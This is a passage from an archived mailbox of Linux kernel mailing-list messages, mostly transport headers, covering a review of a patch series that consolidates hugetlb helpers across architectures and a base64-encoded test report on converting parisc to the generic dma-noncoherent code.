X-Trace: blaine.gmane.org 1532132632 13725 195.159.176.226 (21 Jul 2018 00:23:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 21 Jul 2018 00:23:52 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: linux-mips@linux-mips.org, dalias@libc.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org, will.deacon@arm.com,
 jejb@parisc-linux.org, paulus@samba.org, hpa@zytor.com,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 ysato@users.sourceforge.jp, mpe@ellerman.id.au, deller@gmx.de, x86@kernel.org,
 linux@armlinux.org.uk, mingo@redhat.com, catalin.marinas@arm.com,
 jhogan@kernel.org, fenghua.yu@intel.com, arnd@arndb.de, tglx@linutronix.de,
 linux-arm-kernel@lists.infradead.org, tony.luck@intel.com,
 linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
 ralf@linux-mips.org, paul.burton@mips.com,
 Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>, linuxppc-dev@lists.ozlabs.org,
 davem@davemloft.net
To: Alex Ghiti <alex@ghiti.fr>, Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Sat Jul 21 02:23:45 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fgfgW-0003Q6-0B
	for linux-arm-kernel@m.gmane.org; Sat, 21 Jul 2018 02:23:44 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=35tvbkiTjvR4T6LHCD1DkhSu4hMRjTPiVMTX2BnxfZs=; b=d8DOATo3mAIrYO
	+QP+Sj9KJUmJNhEl0JlRR1fqp4u96UYI70FWFREPxB8MgvYpll67GaNzybqJM5piyoA3dUyw7jRI1
	WRIBwMrmLFEsIA7GS0WO8XvwoN9g4rbVk3MOBwWX0Z1aMxHefu6GHTdn0+LDhRIQPAsBhNBIdy2XH
	axUh47q/kSCXHOyVtzes8rOBNN8nyolW4wakmlnkPN/3CrLr1A3qhEGWOlXTAdQ2B1Hk3WdR7aoHJ
	U9ccNhOeJcoQ6JL+wRVSYjGwKNsmpX82uWaLnUqr1R5yvc1kizUWyA8xqLadMZROpsCKRBqsGzOtZ
	dpk9DyJzDv1mfjIGiexA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fgfib-00011i-4G; Sat, 21 Jul 2018 00:25:53 +0000
Original-Received: from userp2120.oracle.com ([156.151.31.85])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fgfiJ-00010N-Ok
 for linux-arm-kernel@lists.infradead.org; Sat, 21 Jul 2018 00:25:37 +0000
Original-Received: from pps.filterd (userp2120.oracle.com [127.0.0.1])
 by userp2120.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6L0O4WQ108329;
 Sat, 21 Jul 2018 00:24:29 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to : cc :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=Rd4LetHpeqk1ii2hpzsETqPQnreKMoZe60/Jlcry1DM=;
 b=KgT8m2sBy8fAyGM9TnwkTSH1UyfFzLM/W69KCryiFBsFspKXsksC4kfYWmhvoRLirxj6
 154I8bOwJ9TAZsyFz0pFmIsoMNa0NWLqrOAEaUcSQ4IQRbRZ5GSbj8XIg9Ep+2uV2A7v
 cVLxyLeo4wvvdJgX6Pecm4fbMxgvVRMaQrG4VnuBCDZbkEPnTv0ymy2akKH83SoDDP+R
 3p68gusvU5I5PK4+znRMiP/HchVdoZChR0C2LELtzbu5V+4VfPO2LJsXYOknAYXTWmev
 7djxl7rqMsHaLoiH6J41cLIyUt/Awo4CD55/KDXjAFPCvCag1mvoVogsjHt4i1xG7EdJ Aw== 
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
 by userp2120.oracle.com with ESMTP id 2k9yjxd1ut-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Sat, 21 Jul 2018 00:24:28 +0000
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
 by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id w6L0OSb3013338
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Sat, 21 Jul 2018 00:24:28 GMT
Original-Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14])
 by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id w6L0OGOe005456;
 Sat, 21 Jul 2018 00:24:19 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Fri, 20 Jul 2018 17:24:15 -0700
In-Reply-To: <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8960
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=2
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=808
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807210003
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180720_172535_938655_F15CD703 
X-CRM114-Status: GOOD (  24.15  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [156.151.31.85 listed in list.dnswl.org]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:664955 gmane.linux.ports.mips.general:65546 gmane.linux.ports.ia64:28941 gmane.linux.ports.sh.devel:57208 gmane.linux.ports.sparc:28103 gmane.linux.kernel.cross-arch:45432 gmane.linux.ports.parisc:28801 gmane.linux.kernel:2826701 gmane.linux.ports.ppc64.devel:160277
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/664955>

On 07/20/2018 11:37 AM, Alex Ghiti wrote:
> Does anyone have any suggestion about those patches ?

I only took a quick look.  From the hugetlb perspective, I like the
idea of moving routines to a common file.  If any of the arch owners
(or anyone else) agree, I can do a review of the series.
-- 
Mike Kravetz

> On 07/09/2018 02:16 PM, Michal Hocko wrote:
>> [CC hugetlb guys - http://lkml.kernel.org/r/20180705110716.3919-1-alex@ghiti.fr]
>>
>> On Thu 05-07-18 11:07:05, Alexandre Ghiti wrote:
>>> In order to reduce copy/paste of functions across architectures and then
>>> make riscv hugetlb port (and future ports) simpler and smaller, this
>>> patchset intends to factorize the numerous hugetlb primitives that are
>>> defined across all the architectures.
>>>
>>> Except for prepare_hugepage_range, this patchset moves the versions that
>>> are just pass-through to standard pte primitives into
>>> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
>>> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>>>
>>> s390 architecture has not been tackled in this serie since it does not
>>> use asm-generic/hugetlb.h at all.
>>> powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).
>>>
>>> This patchset has been compiled on x86 only.
>>>
>>> Changelog:
>>>
>>> v4:
>>>    Fix powerpc build error due to misplacing of #include
>>>    <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>>>    pointed by Christophe Leroy.
>>>
>>> v1, v2, v3:
>>>    Same version, just problems with email provider and misuse of
>>>    --batch-size option of git send-email
>>>
>>> Alexandre Ghiti (11):
>>>    hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>>>    hugetlb: Introduce generic version of hugetlb_free_pgd_range
>>>    hugetlb: Introduce generic version of set_huge_pte_at
>>>    hugetlb: Introduce generic version of huge_ptep_get_and_clear
>>>    hugetlb: Introduce generic version of huge_ptep_clear_flush
>>>    hugetlb: Introduce generic version of huge_pte_none
>>>    hugetlb: Introduce generic version of huge_pte_wrprotect
>>>    hugetlb: Introduce generic version of prepare_hugepage_range
>>>    hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>>>    hugetlb: Introduce generic version of huge_ptep_set_access_flags
>>>    hugetlb: Introduce generic version of huge_ptep_get
>>>
>>>   arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>>>   arch/arm/include/asm/hugetlb.h               | 33 +----------
>>>   arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>>>   arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>>>   arch/mips/include/asm/hugetlb.h              | 40 +++----------
>>>   arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>>>   arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
>>>   arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>>>   arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>>>   arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
>>>   arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>>>   arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>>>   arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>>>   arch/x86/include/asm/hugetlb.h               | 72 +----------------------
>>>   include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
>>>   15 files changed, 143 insertions(+), 384 deletions(-)
>>>
>>> -- 
>>> 2.16.2
> 

From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: Re: convert parisc to the generic dma-noncoherent code
Date: Sun, 22 Jul 2018 17:45:40 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <c080d766-5b7b-2776-848c-60da09bd2c9c@gmx.de>
References: <20180619070455.26624-1-hch@lst.de> <20180711153445.GC31946@lst.de>
	<e2b653d8-cc04-7a81-89a0-9d286c5cc0ca@gmx.de>
	<e29f9140-0d47-e074-1609-d6ae8f8869b3@bell.net>
	<20180717131952.GF13582@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1532274260 19789 195.159.176.226 (22 Jul 2018 15:44:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 22 Jul 2018 15:44:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.5.2
Cc: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Sun Jul 22 17:44:15 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fhGWs-00052f-NR
	for glki-iommu@m.gmane.org; Sun, 22 Jul 2018 17:44:15 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id BB5D3AEF;
	Sun, 22 Jul 2018 15:46:23 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 1AB47AE0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sun, 22 Jul 2018 15:46:23 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.15.19])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id DC24214D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sun, 22 Jul 2018 15:46:21 +0000 (UTC)
Original-Received: from [192.168.20.60] ([92.116.190.27]) by mail.gmx.com (mrgmx003
	[212.227.17.190]) with ESMTPSA (Nemesis) id 0MKYsh-1fgzAh1Emt-001wkS;
	Sun, 22 Jul 2018 17:45:48 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller-Mmb7MZpHnFY@public.gmane.org; prefer-encrypt=mutual; keydata=
	xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
	y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
	+sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
	KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
	OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
	AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
	AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
	UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
	+ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
	iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
	288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
	vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20180717131952.GF13582-jcswGhMUV9g@public.gmane.org>
Content-Language: en-US
X-Provags-ID: V03:K1:WlsKIGPq2cdG65N8ECjN5uy5su0Re0sG3Ho/pdwDNztb/RjZ4nH
	yWlNEZXBh5BJkyJuaZGvknhHzyyf/x7bWVSlipRth/uEhI5w7dhcaLDe9VXM7gTq+Lh3L2E
	xHmS/2an+4zwgR1IZNgZXEdiCjVaeusWkq7FHVXIvQbVscRLDN5mopBBO3GDed94jvZ/zvZ
	EEXhMo6wB4727jo2palsA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:OxQ2FAFB1/8=:ZIRBRTn84X+uX9PK3pg606
	9EjANwqmz1vS+OSWDePiMIKiK4YuNd4QfHUtNGgu4fHRWR/WsUthDwhKPMjUFIttqYhlMC/Qf
	4fZS2d3aEhhMhxwnMMa/wvzsMH795UZEY5KOqWmZ18yULU7NCz81JZrs+5MpcWBOwUOGsXZVa
	Z4XLzr13oIyho+uICrAwnoPC9Bk3F/THFuHV2qC4/wI3aIT921B/qgIjw7+raClWiBAc7TuwI
	WutyTmPdt7utstIc9jNK+htDic9IWmqx6Yk3kG0ld0cmL+wNoVq7SBsGi0xpFR5tQVu8ohScG
	OI6MOvCMjZBo6snvrWZdoggXqgukovE3lE7QL6EVeZu/UI5GTx9Rl4fvQHr0KlZ2aSfmxG/27
	Dh/mSP2A43tfZYM1RQSAKuBc9DbCTPYC0Y3EEo3ZlZXwK9SvF2d6RGxtQlWV1o/BfBZu2plff
	TF/KiVqCbeSe+9SXoxbug0rbiW2CzhxAScxaqLlO9xDueGOxql4WJe85KF1o8SVQDVHe92gwv
	dv4+rNoLUi3AXJAaJAQg23ebInMrvHOyomfhYqwBzDyKIctFhHwjO2Bc64vpiPqMc0ILoXdEn
	bvn5R/WRUGXuvYGV6FljBHLAzM0+EykcwXAJMiHtqJbSBGPAGlgAVeVZYIdjI2i4thAsSoCXY
	IYAxJdEaYTCHys6GVABMyDnraXAlawokoNCTh6rdlr05/f/BDgSYQHjl75x3scjMb0ffjVavv
	rAEw3cD9eFQk2Vu4DAV3HfIrlscit3ZthLrLsTLS9t4dI0b+nEqXZfFcu/ALr6L36E0werWh 
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:25384 gmane.linux.ports.parisc:28802
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/25384>

T24gMTcuMDcuMjAxOCAxNToxOSwgQ2hyaXN0b3BoIEhlbGx3aWcgd3JvdGU6Cj4gT24gU3VuLCBK
dWwgMTUsIDIwMTggYXQgMTI6Mjk6MzdQTSAtMDQwMCwgSm9obiBEYXZpZCBBbmdsaW4gd3JvdGU6
Cj4+IE9uIDIwMTgtMDctMTMgNDoxNCBBTSwgSGVsZ2UgRGVsbGVyIHdyb3RlOgo+Pj4gT24gMTEu
MDcuMjAxOCAxNzozNCwgQ2hyaXN0b3BoIEhlbGx3aWcgd3JvdGU6Cj4+Pj4gcGluZz8gIEFueSBj
b21tZW50cz8KPj4+IEkgYXBwbGllZCB0aG9zZSAzIHBhdGNoZXMgb24gdG9wIG9mIGdpdCBoZWFk
LCBhbmQgYm9vdGVkIHRoZQo+Pj4gMzItYml0IGtlcm5lbCBvbiBhIEhQIDcxNS82NCAoUENYLUwp
IGFuZCBhIEhQIEIxNjBMIChQQ1gtTDIpLgo+Pj4gT24gYm90aCBtYWNoaW5lcyBJIGhhZCBwcm9i
bGVtcyB3aXRoIHRob3NlIGRyaXZlcnMgd2hpY2ggdXNlCj4+PiBETUEgKEkgY2hlY2tlZCBzcGVj
aWZpY2FsbHkgdGhlIGxhc2kgTklDIGNhcmQsIHdoaWNoIGlzIHRoZQo+Pj4gbWFpbiBvbmJvYXJk
IE5JQyBjYXJkIGluIGJvdGggbWFjaGluZXMpLgo+Pj4gR2V0dGluZyBJUCB2aWEgREhDUCB3YXMg
dW5yZWxpYWJsZSwgcGluZ3Mgb24gdGhlIHNhbWUgbmV0d29yawo+Pj4gdG8gYm90aCBtYWNoaW5l
cyBnYXZlIGxvc3QgcGFja2V0cywgbG9naW4gdmlhIHNzaCBzb21ldGltZXMgZmFpbGVkCj4+PiBh
bmQgc28gb24uCj4+Pgo+Pj4gU28sIHRoZXJlIGlzIGRlZmluaXRpdmVseSBzb21lIGNhY2hlLWZs
dXNoIG1pc3NpbmcgaW4gdGhpcyBwYXRjaHNldC4KPj4gUG9zc2libHksIHRoZSBjb2RlIHNob3Vs
ZCB1c2UgZmx1c2hfa2VybmVsX3ZtYXBfcmFuZ2UoKSBhcyBpdCBwdXJnZXMgdGhlIAo+PiBUTEIg
ZW50cmllcyB1c2VkCj4+IGZvciB0aGUgY2FjaGUgZmx1c2guwqAgU29tZSBvZiB0aGUgcm91dGlu
ZXMgaW4gcGNpLWRtYS5jIGN1cnJlbnRseSB1c2UgaXQuCj4gCj4gVGhhdCBtaWdodCBiZSB3b3J0
aCBhIHRyeSBhbmQgaXMgYWxyZWFkeSBkaXNjdXNzZWQgaW4gbXkgZGVzY3JpcHRpb24uCj4gCj4g
QWxzbyBpdCBtaWdodCBiZSBnb29kIHRvIGNoZWNrIHRoYXQgdGhlIGxhc3QgcGF0Y2ggcmVhbGx5
IGlzIHRoZSBjdWxwcml0LAo+IEknbSBwcmV0dHkgY2VydGFpbiBpdCBpcywgYnV0IGEgZG91Ymxl
IGNoZWNrIG5ldmVyIGh1cnRzLgoKU29tZWhvdyBJIG5vdyBjYW4ndCByZXByb2R1Y2UgdGhlIGNh
Y2hlIGlzc3VlcyBhbnkgbG9uZ2VyLiBCb3RoLCB5b3VyIG9yaWdpbmFsCnBhdGNoIGFuZCB3aGVu
IHVzaW5nIGZsdXNoX2tlcm5lbF92bWFwX3JhbmdlKCksIGJvdGggd29yay4KClNvLCB5b3UgY2Fu
IGFkZCBhIApUZXN0ZWQtYnk6IEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT4KdG8geW91ciBv
cmlnaW5hbCBwYXRjaCBzZXJpZXMuCgpIZWxnZQpfX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fXwppb21tdSBtYWlsaW5nIGxpc3QKaW9tbXVAbGlzdHMubGludXgt
Zm91bmRhdGlvbi5vcmcKaHR0cHM6Ly9saXN0cy5saW51eGZvdW5kYXRpb24ub3JnL21haWxtYW4v
bGlzdGluZm8vaW9tbXU=


From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: Re: convert parisc to the generic dma-noncoherent code
Date: Sun, 22 Jul 2018 21:57:22 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <20180722195722.GA10147@lst.de>
References: <20180619070455.26624-1-hch@lst.de> <20180711153445.GC31946@lst.de>
	<e2b653d8-cc04-7a81-89a0-9d286c5cc0ca@gmx.de>
	<e29f9140-0d47-e074-1609-d6ae8f8869b3@bell.net>
	<20180717131952.GF13582@lst.de>
	<c080d766-5b7b-2776-848c-60da09bd2c9c@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532289127 26097 195.159.176.226 (22 Jul 2018 19:52:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 22 Jul 2018 19:52:07 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>,
	Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Sun Jul 22 21:52:03 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fhKOg-0006eL-D5
	for glki-iommu@m.gmane.org; Sun, 22 Jul 2018 21:52:02 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id B4BCC86D;
	Sun, 22 Jul 2018 19:54:10 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 6FF2B74
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sun, 22 Jul 2018 19:54:09 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id D976971E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sun, 22 Jul 2018 19:54:08 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id 2ACAD68D43; Sun, 22 Jul 2018 21:57:22 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <c080d766-5b7b-2776-848c-60da09bd2c9c-Mmb7MZpHnFY@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
